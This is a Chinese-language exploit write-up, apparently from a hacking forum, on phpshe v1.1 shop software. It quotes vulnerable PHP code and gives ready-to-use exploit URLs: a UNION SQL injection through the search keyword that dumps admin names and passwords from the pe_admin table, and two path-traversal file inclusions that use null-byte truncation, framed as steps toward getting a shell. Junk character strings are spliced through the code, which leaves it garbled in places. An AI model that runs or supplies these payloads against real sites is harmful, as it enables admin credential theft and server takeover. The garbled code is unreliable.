phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
" Q# X/ \+ ?: d* S/ e6 M6 T0 Q0×00 整体大概参数传输
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//common.php
( @4 U' k# ]3 `* \if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
9 R# V! j, [* Y: h+ N7 V: s) g2 @+ w}
2 K! x# d' c; Nsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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: g& d  |& t; }7 A2 T//首页文件
7 T% O' d6 B; Y<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% }0 ^& \! T( Y$ x$ d. `; p5 k0 F1 G1 j& minclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
1 Z  W( ~8 e0 w9 l) H/ F% turl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
1 c! ^! `" m5 ^4 M& V3 I- V' C, R$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
& V% p$ q- C- L2 M" q$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
2 |0 Y/ r6 j7 Y2 S# n

+ ?3 Z5 n; R0 {6 @6 d 0×02 搜索注入
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2 n. `$ ^% b$ |8 n! _- Y! D<code id="code2">

//product.php文件
! X7 Z) |* d1 u9 L" [( m+ mcase 'list':
0 A3 k. C: d! D$ N( w1 l$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
( J  g- _9 E' w# \' sif ($category_id) {
$ N; y7 @3 a+ y) x! ^where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
, d, Z. o$ B7 Q7 D% q$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
; e5 M3 w6 T' H! @3 v8 Gif ($_g_orderby) {
3 R7 g4 Z2 Y5 R& z  f" |" ?, i$orderby = explode('_', $_g_orderby);
, |( I' z8 ]8 [0 y$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
; L0 ~  h9 o( \- W/ j+ W8 L$sqlwhere .= " order by `product_id` desc";
}
! Y# b. q' J: E, P- K$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
0 P3 d0 K4 _4 O6 V5 m$product_hotlist = product_hotlist();
//当前路径
) v' \- W: X: Y- Z1 @4 S$nowpath = category_path($category_id);
' v; @, z  x5 S+ e% X$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
* O: n4 H0 y; C6 ]7 G/ Y/ J7 |public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
7 G8 Y2 E7 @4 @5 e9 ~' O{
9 N( `2 n; W* S& g; v8 m//处理条件语句
3 ?4 _! q' ~2 j$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
4 r2 ?7 i8 }" ~) I8 R}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

, r! K" V5 i4 W. I$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

& x* r6 |' y8 n6 Cforeach($cache_payway as $k => $v) {

$ J; V) E7 _2 Q: P$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

, n+ K/ E8 M) G! p5 \% E0 U# Kif ($k == 'bank') {

4 e* j3 Y( N& [; h1 E1 m6 Q$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

! f# x0 `" P. }foreach ($info_list as $v) {

3 h' F6 @5 \4 V7 y' \6 C7 ]$order['order_name'] .= "{$v['product_name']};";

}

0 K: p6 C$ E& i' L. kecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

& V* P  E+ A4 O# c# }9 o/ h: I}//当一切准备好的时候就可以进行"鸡肋包含了"

2 q4 T4 |0 ?  ~- m! N+ u7 g0 Ielse {

pe_error('支付错误...');

3 R' U" ]+ S' F. i7 J. f}

}

9 _" \/ h- }( ~4 p  O0 E- E$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
; U) C$ ~3 S' k0 l: Z9 khttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg